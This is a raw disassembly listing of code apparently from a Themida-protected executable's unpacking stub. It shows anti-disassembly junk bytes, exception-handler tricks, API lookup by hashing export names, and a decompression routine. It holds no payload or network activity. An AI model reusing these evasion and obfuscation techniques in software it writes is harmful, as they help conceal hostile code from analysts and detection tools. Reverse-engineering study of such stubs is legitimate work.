mov edi, [esi+3Ch]
add edi, esi
cmp dword ptr [edi], 4550h
jz short loc_57D303
jmp short loc_57D2A9
; ---------------------------------------------------------------------------
loc_57D2C1: ; CODE XREF: Themida_:0057D2A0j
pop large dword ptr fs:0
add esp, 4
popa
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
push ebp
call $+5
pop ebp
sub ebp, 61538BCh
lea eax, [ebp+615387Ah]
mov [ecx+0B8h], eax
pop ebp
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_57D303: ; CODE XREF: Themida_:0057D2BDj
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
push 0
push esi
call sub_57D319
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D319 proc near ; CODE XREF: Themida_:0057D311p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_57D319 endp
; ---------------------------------------------------------------------------
db 22h, 2, 66h
dd 0D780DE8Bh, 0D98C666Ch, 0AE850h, 466B0000h, 0AAF878F8h
dd 22369F09h, 0CE9h, 9D96D00h, 251C06ECh, 0BC073C74h, 805B5B9Bh
dd 816604E1h, 0ADE50CBh, 34850FC9h, 0F000000h, 85C7D9BFh
dd 6152DB5h, 1, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 9CC35747h, 0E9F820B6h, 0Fh, 0C7E0DB80h, 152DB585h
dd 6, 89DE8B00h, 15168585h, 15A7BB06h, 85894F7Eh, 6152811h
dd 0BE8h, 2B81D100h, 17432545h, 0A585F0A4h, 60CEB760h
dd 8F0FF28Bh, 0
; ---------------------------------------------------------------------------
popa
popa
pop edx
xor esi, 20DBE0F0h
add edx, 6BFDh
push 1ACDh
jmp loc_57D3FF
; ---------------------------------------------------------------------------
db 0F6h, 0FEh, 0B6h
dd 0DEEAD682h, 373D1ED6h, 36307222h
db 4Dh, 6, 0D3h
; ---------------------------------------------------------------------------
loc_57D3FF: ; CODE XREF: Themida_:0057D3E8j
pop eax
pusha
call near ptr loc_57D411+1
fdivr qword ptr [esi-72h]
and esp, ebp
fisub word ptr [eax]
sub al, 95h
pop ds
xchg eax, ebp
loc_57D411: ; CODE XREF: Themida_:0057D401p
add [esi-75h], ah
rcr byte ptr [esi+66h], 1
mov eax, ecx
popa
loc_57D41A: ; CODE XREF: Themida_:0057D482j
mov ecx, [edx]
sbb si, 107Eh
xor ecx, 639294B7h
mov si, 0ED68h
sub ecx, 2789748Ah ; CODE XREF: Themida_:0057D474j
mov bx, si
add ecx, 58664DDAh
pusha
pusha
jmp loc_57D44E
; ---------------------------------------------------------------------------
mov ds, word ptr [ebx+6716CFE4h]
rcr ch, 0F7h
clc
adc eax, ebp
dec edi
loc_57D44E: ; CODE XREF: Themida_:0057D43Cj
popa
mov ebx, ecx
popa
push ecx
mov bx, 0FA80h
pop dword ptr [edx]
sub edx, 3
pusha
mov ebx, esi
and eax, 24C4EF19h
popa
dec edx
call near ptr loc_57D47A+1
mov ds, word ptr es:[ecx+5C92AA93h]
cdq
loope near ptr loc_57D42B+3
repne in eax, dx
pop es
inc edi
loc_57D47A: ; CODE XREF: Themida_:0057D467p
out 0BFh, al ; Interrupt Controller #2, 8259A
and eax, 5B708775h
dec eax
jnz loc_57D41A
mov edi, edx
call sub_57D4A3
jle short near ptr loc_57D48F+1 ; CODE XREF: Themida_:loc_57D48Fj
db 3Eh
xlat
outsd
push es
in eax, dx
rcl dword ptr [esi-16h], cl
pop esi
add byte ptr [ebx], 6Bh
hlt
; ---------------------------------------------------------------------------
dw 56E5h
db 0E4h, 18h, 61h
; =============== S U B R O U T I N E =======================================
sub_57D4A3 proc near ; CODE XREF: Themida_:0057D48Ap
mov edi, 7A7BE977h
pop esi
xor ch, 0E5h
add esi, 6130h
sub ecx, 0E0AFD4Ch
mov edx, 181Ah
mov edi, 14927026h
loc_57D4C2: ; CODE XREF: Themida_:loc_57D54Aj
push dword ptr [esi]
pop eax
jnb loc_57D4D0
mov ebx, 6E6CEBBFh
loc_57D4D0: ; CODE XREF: sub_57D4A3+22j
add eax, 4CF281BDh
call near ptr loc_57D4EA+2
arpl ax, bx
loopne near ptr loc_57D52E+1
sub eax, 0FFFFFFE6h
test eax, 57F987A1h
mov dl, 7Ah
lodsd
loc_57D4EA: ; CODE XREF: sub_57D4A3+33p
and [bx+di+40F7h], eax
sub_57D4A3 endp ; sp-analysis failed
jecxz short near ptr loc_57D56B+1
jge short near ptr loc_57D54A+2
xor eax, 7A7DF2A2h
sub eax, 9EE60BFh
sub ebx, 0A8337B5h
push eax
mov bx, 97D1h
pop dword ptr [esi]
jg loc_57D518
pusha
mov eax, ebx
push edi
pop eax
popa
loc_57D518: ; CODE XREF: Themida_:0057D50Cj
sub esi, 4
jmp loc_57D525
; ---------------------------------------------------------------------------
dd 96112EDBh
; ---------------------------------------------------------------------------
xlat
loc_57D525: ; CODE XREF: Themida_:0057D51Bj
sub edx, 1
jnz loc_57D54A
loc_57D52E: ; CODE XREF: sub_57D4A3+3Aj
add bh, 0B1h
jmp loc_57D55B
; ---------------------------------------------------------------------------
dw 59A2h
dd 0EA7D08E6h, 0E3ABF9B3h, 7577873Fh, 0CBC1997Ch
db 87h, 73h
; ---------------------------------------------------------------------------
loc_57D54A: ; CODE XREF: Themida_:0057D528j
; Themida_:0057D4F1j
jmp loc_57D4C2
; ---------------------------------------------------------------------------
db 0CFh
dd 4BBC5773h, 0F5E36963h
db 41h, 0FEh, 0EFh
; ---------------------------------------------------------------------------
loc_57D55B: ; CODE XREF: Themida_:0057D531j
jmp short loc_57D561
; ---------------------------------------------------------------------------
db 1Bh, 2, 0
db 0
; ---------------------------------------------------------------------------
loc_57D561: ; CODE XREF: Themida_:loc_57D55Bj
jmp loc_57DC6A
; ---------------------------------------------------------------------------
cld
; =============== S U B R O U T I N E =======================================
sub_57D567 proc far ; DATA XREF: Themida_:0057A7ACo
; Themida_:0057AB74o
var_24 = dword ptr -24h
var_4 = dword ptr -4
arg_0 = dword ptr 8
pusha
pusha
mov esi, ecx
loc_57D56B: ; CODE XREF: Themida_:0057D4EFj
jo loc_57D577
jbe $+6
loc_57D577: ; CODE XREF: sub_57D567:loc_57D56Bj
popa
mov eax, 0
jmp loc_57D588
; ---------------------------------------------------------------------------
dw 0FB4Eh
dd 0E1BDC699h
; ---------------------------------------------------------------------------
loc_57D588: ; CODE XREF: sub_57D567+16j
mov edx, [esp+20h+arg_0]
cld
mov [ebp+6150A5Dh], eax
pusha
mov edi, 3FC3FB29h
clc
popa
mov esi, 3Ch
jmp loc_57D5AF
; ---------------------------------------------------------------------------
db 0E5h, 0ADh, 18h
; ---------------------------------------------------------------------------
mov al, 4Eh
movsb
stc
xchg dh, ch
xchg eax, esi
loc_57D5AF: ; CODE XREF: sub_57D567+39j
add esi, [esp+24h]
jbe loc_57D5C5
jp loc_57D5C5
mov [ebp+61527E1h], esi
loc_57D5C5: ; CODE XREF: sub_57D567+4Cj
; sub_57D567+52j
lodsw
mov [ebp+61518C5h], eax
add eax, [esp+24h]
mov [ebp+6152C51h], ebx
push eax
jz loc_57D5E2
pusha
mov al, bl
popa
loc_57D5E2: ; CODE XREF: sub_57D567+71j
mov [esp+24h+var_24], eax
pusha
push eax
sub [ebp+61526F5h], edx
pop edx
mov edi, [ebp+6151459h]
popa
mov eax, [eax+78h]
jmp loc_57D608
; ---------------------------------------------------------------------------
db 0BFh, 9Eh, 7Ah
dd 7BEC6C01h, 1E448AE1h
; ---------------------------------------------------------------------------
loc_57D608: ; CODE XREF: sub_57D567+91j
add eax, [esp+28h]
stc
pusha
mov ebx, [ebp+6150981h]
movzx ebx, di
popa
mov eax, [eax+18h]
mov [ebp+615098Dh], edx
inc eax
mov [ebp+6151099h], esi
mov [ebp+6153B2Eh], eax
cld
pusha
pusha
mov di, 62CEh
sbb cx, 0CB8Fh
popa
xor ebx, 337F0CB4h
popa
pop eax
jge loc_57D64A
clc
loc_57D64A: ; CODE XREF: sub_57D567+DCj
jmp loc_57D659
; ---------------------------------------------------------------------------
db 1Dh
dd 0D84269D0h, 525D54E9h
db 0DEh
; ---------------------------------------------------------------------------
loc_57D659: ; CODE XREF: sub_57D567:loc_57D64Aj
mov esi, [eax+78h]
pusha
xor edi, 11F5A098h
or ecx, 563F61D2h
popa
add esi, 1Ch
jmp loc_57D685
; ---------------------------------------------------------------------------
dw 0C141h
dd 3EE04623h, 42C89BB2h, 0D53E0D41h, 91C95AC2h
db 0E9h
; ---------------------------------------------------------------------------
loc_57D685: ; CODE XREF: sub_57D567+106j
add esi, [esp+24h]
jmp loc_57D696
; ---------------------------------------------------------------------------
dw 0C69Eh
dd 0D31BF1A4h
db 44h, 81h
; ---------------------------------------------------------------------------
loc_57D696: ; CODE XREF: sub_57D567+122j
lea edi, [ebp+61521D9h]
cld
lodsd
jns loc_57D6BA
jmp loc_57D6BA
; ---------------------------------------------------------------------------
db 0BBh, 0AEh, 0E0h
dd 53678D6h, 0CD1E267Ah, 1EB2130Fh
db 21h, 1Ch
; ---------------------------------------------------------------------------
loc_57D6BA: ; CODE XREF: sub_57D567+137j
; sub_57D567+13Dj
add eax, [esp+24h]
jmp loc_57D6D1
; ---------------------------------------------------------------------------
db 0D3h
dd 99DEB772h, 0BA1B9203h, 0C33C5073h
db 8Dh
; ---------------------------------------------------------------------------
loc_57D6D1: ; CODE XREF: sub_57D567+157j
stosd
stc
jp loc_57D6E7
jmp loc_57D6E7
; ---------------------------------------------------------------------------
dw 8E69h
dd 1E7A8D5Ah
db 0F9h, 28h, 42h
; ---------------------------------------------------------------------------
loc_57D6E7: ; CODE XREF: sub_57D567+16Cj
; sub_57D567+172j
lea edi, [ebp+615186Dh]
or [ebp+6151659h], esi
lodsd
pusha
or [ebp+6150A61h], edi
mov [ebp+6150929h], ebx
popa
add eax, [esp+24h]
clc
push eax
jg loc_57D716
pusha
jnz $+6
popa
loc_57D716: ; CODE XREF: sub_57D567+1A1j
mov [esp+24h+var_24], eax
jmp loc_57D732
; ---------------------------------------------------------------------------
dw 5DFEh
dd 718D5B44h, 0D9BBDD0h, 827FC900h, 0B3493F85h
db 86h, 9Fh
; ---------------------------------------------------------------------------
loc_57D732: ; CODE XREF: sub_57D567+1B2j
stosd
stc
lea edi, [ebp+6153021h]
cmc
lodsd
mov [ebp+6150A61h], ebx
add eax, [esp+28h]
pusha
pusha
mov [ebp+6151061h], edi
jp $+6
popa
mov esi, 2B0310F5h
popa
stosd
jz loc_57D776
jmp loc_57D776
; ---------------------------------------------------------------------------
db 0DBh
dd 0D31268D8h, 60E3FEEDh, 83397522h
db 0A3h, 7Eh
; ---------------------------------------------------------------------------
loc_57D776: ; CODE XREF: sub_57D567+1F5j
; sub_57D567+1FBj
pop esi
clc
jmp loc_57D78A
; ---------------------------------------------------------------------------
db 6Ch, 75h, 0E3h
dd 4359F9A1h, 0A3210F2Bh
db 94h, 36h
; ---------------------------------------------------------------------------
loc_57D78A: ; CODE XREF: sub_57D567+211j
; sub_57D567+2AFj
dec dword ptr [ebp+6153B2Eh]
cmp dword ptr [ebp+6153B2Eh], 0
jnz short loc_57D7A9
mov [esp+20h+var_4], 0
lea esi, [ebp+615400Bh]
jmp esi
; ---------------------------------------------------------------------------
loc_57D7A9: ; CODE XREF: sub_57D567+230j
push esi
lodsd
add eax, [esp+28h]
xchg eax, edi
mov ebx, edi
mov al, [ebp+61509C5h]
test al, al
jz short loc_57D7C0
cmp al, [edi]
jnz short loc_57D80C
loc_57D7C0: ; CODE XREF: sub_57D567+253j
push edi
xor al, al
loc_57D7C3: ; CODE XREF: sub_57D567+25Dj
scasb
jnz short loc_57D7C3
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
loc_57D7D0: ; CODE XREF: sub_57D567+292j
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_57D7DF: ; CODE XREF: sub_57D567+28Bj
shr bx, 1
rcr ax, 1
jnb short loc_57D7F0
xor ax, 5041h
xor bx, 5449h
loc_57D7F0: ; CODE XREF: sub_57D567+27Ej
dec dh
jnz short loc_57D7DF
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_57D7D0
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edx
cmp edx, eax
jz short loc_57D81B
loc_57D80C: ; CODE XREF: sub_57D567+257j
pop esi
add esi, 4
inc dword ptr [ebp+6150A5Dh]
jmp loc_57D78A
; ---------------------------------------------------------------------------
loc_57D81B: ; CODE XREF: sub_57D567+2A3j
pop esi
pusha
mov esi, [ebp+6152959h]
add esi, [ebp+6150681h]
popa
jge loc_57D83A
pusha
pusha
popa
xor esi, [ebp+6152ED5h]
popa
loc_57D83A: ; CODE XREF: sub_57D567+2C3j
pusha
mov ecx, edi
pusha
jmp loc_57D84F
; ---------------------------------------------------------------------------
align 4
dd 77DA2B70h, 0EDF8014Eh
db 45h, 0F7h, 70h
; ---------------------------------------------------------------------------
loc_57D84F: ; CODE XREF: sub_57D567+2D7j
call sub_57D865
xchg eax, edi
in al, 4Bh
retf
sub_57D567 endp
; ---------------------------------------------------------------------------
dd 0D9D3DE31h, 6E43C6C7h, 77992A81h
db 0C7h
; =============== S U B R O U T I N E =======================================
sub_57D865 proc near ; CODE XREF: sub_57D567:loc_57D84Fp
arg_5C = dword ptr 60h
arg_64 = dword ptr 68h
pop edx
popa
popa
mov eax, [ebp+6150A5Dh]
jbe loc_57D87A
mov [ebp+6152809h], edx
loc_57D87A: ; CODE XREF: sub_57D865+9j
shl eax, 1
jmp loc_57D889
; ---------------------------------------------------------------------------
sbb ch, [ecx-0Ch]
ror dword ptr [edi], cl
cmp [ebp+5Bh], eax
loc_57D889: ; CODE XREF: sub_57D865+17j
add eax, [ebp+6153021h]
cmc
mov esi, 0
xor [ebp+61504BDh], edx
xchg eax, esi
ja loc_57D8A8
or [ebp+6152799h], edi
loc_57D8A8: ; CODE XREF: sub_57D865+37j
lodsw
jbe loc_57D8B6
mov [ebp+6150D8Dh], esi
loc_57D8B6: ; CODE XREF: sub_57D865+45j
shl eax, 2
pusha
mov [ebp+6152AF5h], ecx
mov [ebp+61524A1h], esi
popa
add eax, [ebp+61521D9h]
pusha
jnp loc_57D8D8
mov dx, 762Eh
loc_57D8D8: ; CODE XREF: sub_57D865+69j
sub [ebp+6151E7Dh], eax
popa
xchg eax, esi
jmp loc_57D8EF
; ---------------------------------------------------------------------------
align 2
dw 0EBD1h
dd 7A079A60h
db 0A0h, 3Ah, 0DCh
; ---------------------------------------------------------------------------
loc_57D8EF: ; CODE XREF: sub_57D865+7Bj
lodsd
jnp loc_57D8F7
cmc
loc_57D8F7: ; CODE XREF: sub_57D865+8Bj
mov ecx, [esp-44h+arg_64]
mov [ebp+615301Dh], ebx
add eax, [esp-44h+arg_64]
jge loc_57D911
xor [ebp+6150CEDh], esi
loc_57D911: ; CODE XREF: sub_57D865+A0j
mov [esp-44h+arg_5C], eax
or [ebp+615245Dh], edi
pusha
add [ebp+6150C65h], ebx
mov ax, bx
popa
xchg eax, esi
jmp loc_57D932
; ---------------------------------------------------------------------------
dd 3803DF8Dh
db 0C2h, 1Fh
; ---------------------------------------------------------------------------
loc_57D932: ; CODE XREF: sub_57D865+C2j
lodsb
ja loc_57D952
jb loc_57D952
jmp loc_57D952
; ---------------------------------------------------------------------------
dd 0DEB772D3h, 1B920399h, 3C5073BAh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 8Dh
; ---------------------------------------------------------------------------
loc_57D952: ; CODE XREF: sub_57D865+CEj
; sub_57D865+D4j ...
xor cl, cl
mov [ebp+61504EDh], edi
inc cl
mov [ebp+6153371h], esi
pusha
jb loc_57D96A
stc
loc_57D96A: ; CODE XREF: sub_57D865+FEj
call near ptr loc_57D974+6
mov al, ds:30D11746h
loc_57D974: ; CODE XREF: sub_57D865:loc_57D96Ap
fisttp word ptr [ecx-7649E80Bh]
sub_57D865 endp ; sp-analysis failed
popf
lds esp, [eax]
adc eax, 0D0615A06h ; CODE XREF: Themida_:0057D9D9j
ror byte ptr [edi], 1
xor dword ptr [eax-77000000h], 0FFFFFF8Dh
xchg eax, ecx
sub eax, 81600615h
out dx, eax
rep call far ptr 75h:958B6D9Ch
adc eax, 0D0D06106h
jnb loc_57DA3A
jmp loc_57D9B0
; ---------------------------------------------------------------------------
db 89h
dd 77BBE307h
; ---------------------------------------------------------------------------
loc_57D9B0: ; CODE XREF: Themida_:0057D9A6j
rcl al, 1
jb loc_57DA3A
mov [ebp+61505DDh], esi
rcl al, 1
jb loc_57DA3A
jp loc_57D9D7
jmp loc_57D9D7
; ---------------------------------------------------------------------------
align 2
dw 0A03Ah
db 0FAh, 62h, 0BEh
; ---------------------------------------------------------------------------
loc_57D9D7: ; CODE XREF: Themida_:0057D9C6j
; Themida_:0057D9CCj
dec cl
jns near ptr loc_57D97E+4
cld
add esp, 20h
jmp loc_57D9EF
; ---------------------------------------------------------------------------
dd 44413BB4h
db 0CFh, 76h, 3Ah
; ---------------------------------------------------------------------------
loc_57D9EF: ; CODE XREF: Themida_:0057D9E3j
sub [ebp+615301Dh], esi
mov dword ptr [esp-4], 0
mov [ebp+6152109h], edi
ja loc_57DA0F
mov [ebp+6152F45h], edi
loc_57DA0F: ; CODE XREF: Themida_:0057DA03j
mov eax, 1
jbe loc_57DA26
jbe loc_57DA26
xor [ebp+615046Dh], esi
loc_57DA26: ; CODE XREF: Themida_:0057DA14j
; Themida_:0057DA1Aj
lea ecx, [ebp+615720Dh]
mov [ebp+615023Dh], ecx
jmp ecx
; ---------------------------------------------------------------------------
mov [ebp+6150ADDh], edi
loc_57DA3A: ; CODE XREF: Themida_:0057D9A0j
; Themida_:0057D9B2j ...
mov byte ptr [ebp+61509C5h], 0
jmp loc_57DA4B
; ---------------------------------------------------------------------------
dw 85F7h
db 12h, 8Eh, 0CDh
; ---------------------------------------------------------------------------
loc_57DA4B: ; CODE XREF: Themida_:0057DA41j
popa
add [ebp+6150669h], ebx
retn 8
; ---------------------------------------------------------------------------
db 0F5h, 89h, 85h
dd 615291Dh
dword_57DA5C dd 12840F50h, 50000000h, 0F525052h, 0F585A31h, 0F525031h
; DATA XREF: Themida_:0057B3D4o
dd 5A585A31h, 24348958h, 1315B589h, 0B5890615h, 615421Dh
dd 308D89F5h, 9061542h, 152DE18Dh, 0C2B58D06h, 29061540h
dd 152335B5h, 0E850F06h, 60000000h, 4018589h, 858B0615h
dd 6151E81h, 0A1858D61h, 89005B8Eh, 152235BDh, 0FD0FF06h
dd 18Fh, 605EF800h, 28C0Fh, 0D78A0000h, 2EC58D8Bh, 89610615h
dd 1527759Dh, 8160C306h, 0EE7F21C8h, 6E949h, 0E7250000h
dd 0B6837656h, 1DB58B61h, 89061542h, 1504BDBDh, 308D8B06h
dd 9061542h, 1508DDB5h, 0B806h, 8D290000h, 6152CF5h, 8531D98Bh
dd 6151E91h, 10AE9h, 8EBB6000h, 6065EEC0h, 727BBE66h, 26FD8D29h
dd 61610615h, 9E92632h, 0A2000000h, 679504D0h, 49DD0A99h
dd 0E9FC02B2h, 89h, 24B19589h, 0C2320615h, 10E9h, 5C539200h
dd 82608308h, 0D39824D0h, 178EFCD3h, 0BF0F6049h, 2D41BFFAh
dd 56117ADh, 8A751D7Ah, 18B58D29h, 0CC8A0615h, 2A5D8529h
dd 0D3F80615h, 0E850FC8h, 60000000h, 175D8D09h, 858B0615h
dd 6152F55h, 8423561h, 800F98D1h, 0Ch, 6860Fh, 0BD310000h
dd 6150A45h, 7E9CAFEh, 3F000000h, 0F28A5F9Ch, 830FEA97h
dd 0Dh, 8E9h, 0A917EE00h, 85DA0120h, 0FD20A07h, 0FFFF7585h
dd 0AE9FFh, 1E40000h, 9505B3B6h, 68312D3Eh, 60FC8A60h
dd 8A0Fh, 61610000h, 13E94Bh, 96EA0000h, 36BB74DAh, 6AC3A376h
dd 2376B6CAh, 7737780Dh, 0F604625h, 68Ch, 22DF8100h, 605DFEE9h
dd 891ADA80h, 152FFD8Dh, 0B616106h, 1850FDBh, 0E9FFFFFFh
dd 8, 7A370505h, 0FCFCE970h, 6E9CFh, 5D350000h, 0F0A14809h
dd 0FC0000h, 0BD896000h, 6151CA5h, 0A399523h, 610615h
dd 0E5850900h, 61511h
db 0, 0F9h
; ---------------------------------------------------------------------------
loc_57DC6A: ; CODE XREF: Themida_:loc_57D561j
lea eax, [ebp+6153B38h]
jmp loc_57DC7F
; ---------------------------------------------------------------------------
db 81h, 67h, 45h
; ---------------------------------------------------------------------------
mov ecx, 0D4C496ECh
fdivr dword ptr [ebx]
loc_57DC7F: ; CODE XREF: Themida_:0057DC70j
mov [ebp+6150D7Dh], eax
add [ebp+6151765h], edx
lea eax, [ebp+615402Dh]
pusha
mov eax, ecx
adc di, 9DCh
popa
jmp loc_57DCAC
; ---------------------------------------------------------------------------
db 0C9h
dd 0D950F6C7h, 606EE056h, 755817C7h
; ---------------------------------------------------------------------------
loc_57DCAC: ; CODE XREF: Themida_:0057DC9Aj
mov [ebp+61519A5h], eax
jmp short loc_57DCC8
; ---------------------------------------------------------------------------
dd 4 dup(0)
dd 0E2h
; ---------------------------------------------------------------------------
loc_57DCC8: ; CODE XREF: Themida_:0057DCB2j
lea eax, [ebp+6154351h]
mov [ebp+615281Dh], eax
cmp dword ptr [ebp+6154291h], 0
jz loc_57DE0D
mov byte ptr [ebp+61509C5h], 56h
push 8B63565Ah
add dword ptr [esp], 48BC16DFh
push dword ptr [ebp+6151685h]
lea eax, [ebp+6153B38h]
call eax
mov [ebp+6154285h], eax
mov byte ptr [ebp+61509C5h], 56h
push 0BA9045B1h
xor dword ptr [esp], 2638FDE3h
push dword ptr [ebp+6151685h]
lea eax, [ebp+6153B38h]
call eax
mov [ebp+6154289h], eax
push 4
call sub_57DD3A
add [eax], dl
; ---------------------------------------------------------------------------
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_57DD3A proc near ; CODE XREF: Themida_:0057DD31p
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005A32FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A3344 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A3CBF SIZE 00000009 BYTES
push eax
mov eax, [esp+4]
mov eax, [eax]
mov [esp+4], eax
pop eax
mov eax, [ebp+6154295h]
add eax, 1F4h
shl eax, 2
push eax
mov [esp+4+var_4], eax
push 0
call dword ptr [ebp+6154289h]
mov [ebp+615428Dh], eax
mov ebx, eax
mov eax, 0FFFFFFFFh
call dword ptr [ebp+615281Dh]
mov eax, ebx
call dword ptr [ebp+615281Dh]
jmp loc_57DE0D
; ---------------------------------------------------------------------------
loc_57DD80: ; DATA XREF: Themida_:0057C24Co
cmp dword ptr [ebp+6154291h], 0
jnz loc_57DD8E
retn
; ---------------------------------------------------------------------------
loc_57DD8E: ; CODE XREF: sub_57DD3A+4Dj
push edi
mov edi, [ebp+615428Dh]
stosd
add dword ptr [ebp+615428Dh], 4
pop edi
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+6154291h], 0
jnz loc_57DDAD
retn
; ---------------------------------------------------------------------------
loc_57DDAD: ; CODE XREF: sub_57DD3A+6Cj
pusha
sub dword ptr [ebp+615428Dh], 4
loc_57DDB5: ; CODE XREF: sub_57DD3A:loc_57DE08j
mov ebx, [ebp+615428Dh]
cmp dword ptr [ebx-4], 0FFFFFFFFh
jnz loc_57DDE2
push 8FDAB66Eh
add [esp+24h+var_24], 7025C992h
push 0
push dword ptr [ebx]
call dword ptr [ebp+6154285h]
popa
retn
; ---------------------------------------------------------------------------
jmp loc_57DE08
; ---------------------------------------------------------------------------
loc_57DDE2: ; CODE XREF: sub_57DD3A+85j
call loc_57DDEB
; ---------------------------------------------------------------------------
align 4
add byte ptr [eax], 0
loc_57DDEB: ; CODE XREF: sub_57DD3A:loc_57DDE2j
push eax
mov eax, [esp+20h+var_1C]
mov eax, [eax]
mov [esp+20h+var_1C], eax
pop eax
push 0
push dword ptr [ebx]
call dword ptr [ebp+6154285h]
sub dword ptr [ebp+615428Dh], 4
loc_57DE08: ; CODE XREF: sub_57DD3A+A3j
jmp loc_57DDB5
; ---------------------------------------------------------------------------
loc_57DE0D: ; CODE XREF: Themida_:0057DCDBj
; sub_57DD3A+41j
dec eax
jmp loc_57DFC0
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_57DE1F: ; CODE XREF: sub_57DD3A:loc_57DE37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_57DE2A: ; CODE XREF: sub_57DD3A+17Bj
; sub_57DD3A+1E3j ...
add dl, dl
jnz loc_57DE37
mov dl, [esi]
inc esi
adc dl, dl
loc_57DE37: ; CODE XREF: sub_57DD3A+F2j
jnb loc_57DE1F
add dl, dl
jnz loc_57DE4A
mov dl, [esi]
inc esi
adc dl, dl
loc_57DE4A: ; CODE XREF: sub_57DD3A+105j
jnb loc_57DEBA
xor eax, eax
add dl, dl
jnz loc_57DE5F
mov dl, [esi]
inc esi
adc dl, dl
loc_57DE5F: ; CODE XREF: sub_57DD3A+11Aj
jnb loc_57DF8F
add dl, dl
jnz loc_57DE72
mov dl, [esi]
inc esi
adc dl, dl
loc_57DE72: ; CODE XREF: sub_57DD3A+12Dj
adc eax, eax
add dl, dl
jnz loc_57DE81
mov dl, [esi]
inc esi
adc dl, dl
loc_57DE81: ; CODE XREF: sub_57DD3A+13Cj
adc eax, eax
add dl, dl
jnz loc_57DE90
mov dl, [esi]
inc esi
adc dl, dl
loc_57DE90: ; CODE XREF: sub_57DD3A+14Bj
adc eax, eax
add dl, dl
jnz loc_57DE9F
mov dl, [esi]
inc esi
adc dl, dl
loc_57DE9F: ; CODE XREF: sub_57DD3A+15Aj
adc eax, eax
jz loc_57DEAD
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_57DEAD: ; CODE XREF: sub_57DD3A+167j
mov [edi], al
inc edi
mov ebx, 2
jmp loc_57DE2A
; ---------------------------------------------------------------------------
loc_57DEBA: ; CODE XREF: sub_57DD3A:loc_57DE4Aj
mov eax, 1
loc_57DEBF: ; CODE XREF: sub_57DD3A:loc_57DEDBj
add dl, dl
jnz loc_57DECC
mov dl, [esi]
inc esi
adc dl, dl
loc_57DECC: ; CODE XREF: sub_57DD3A+187j
adc eax, eax
add dl, dl
jnz loc_57DEDB
mov dl, [esi]
inc esi
adc dl, dl
loc_57DEDB: ; CODE XREF: sub_57DD3A+196j
jb loc_57DEBF
sub eax, ebx
mov ebx, 1
jnz loc_57DF22
mov ecx, 1
loc_57DEF3: ; CODE XREF: sub_57DD3A:loc_57DF0Fj
add dl, dl
jnz loc_57DF00
mov dl, [esi]
inc esi
adc dl, dl
loc_57DF00: ; CODE XREF: sub_57DD3A+1BBj
adc ecx, ecx
add dl, dl
jnz loc_57DF0F
mov dl, [esi]
inc esi
adc dl, dl
loc_57DF0F: ; CODE XREF: sub_57DD3A+1CAj
jb loc_57DEF3
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_57DE2A
; ---------------------------------------------------------------------------
loc_57DF22: ; CODE XREF: sub_57DD3A+1AEj
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_57DF30: ; CODE XREF: sub_57DD3A:loc_57DF4Cj
add dl, dl
jnz loc_57DF3D
mov dl, [esi]
inc esi
adc dl, dl
loc_57DF3D: ; CODE XREF: sub_57DD3A+1F8j
adc ecx, ecx
add dl, dl
jnz loc_57DF4C
mov dl, [esi]
inc esi
adc dl, dl
loc_57DF4C: ; CODE XREF: sub_57DD3A+207j
jb loc_57DF30
cmp eax, 7D00h
jnb loc_57DF7F
cmp eax, 500h
jb loc_57DF76
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_57DE2A
; ---------------------------------------------------------------------------
loc_57DF76: ; CODE XREF: sub_57DD3A+228j
cmp eax, 7Fh
ja loc_57DF82
loc_57DF7F: ; CODE XREF: sub_57DD3A+21Dj
add ecx, 2
loc_57DF82: ; CODE XREF: sub_57DD3A+23Fj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_57DE2A
; ---------------------------------------------------------------------------
loc_57DF8F: ; CODE XREF: sub_57DD3A:loc_57DE5Fj
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz loc_57DFB4
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_57DE2A
; ---------------------------------------------------------------------------
loc_57DFB4: ; CODE XREF: sub_57DD3A+25Dj
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_57DFC0: ; CODE XREF: sub_57DD3A+D4j
mov edx, 929h
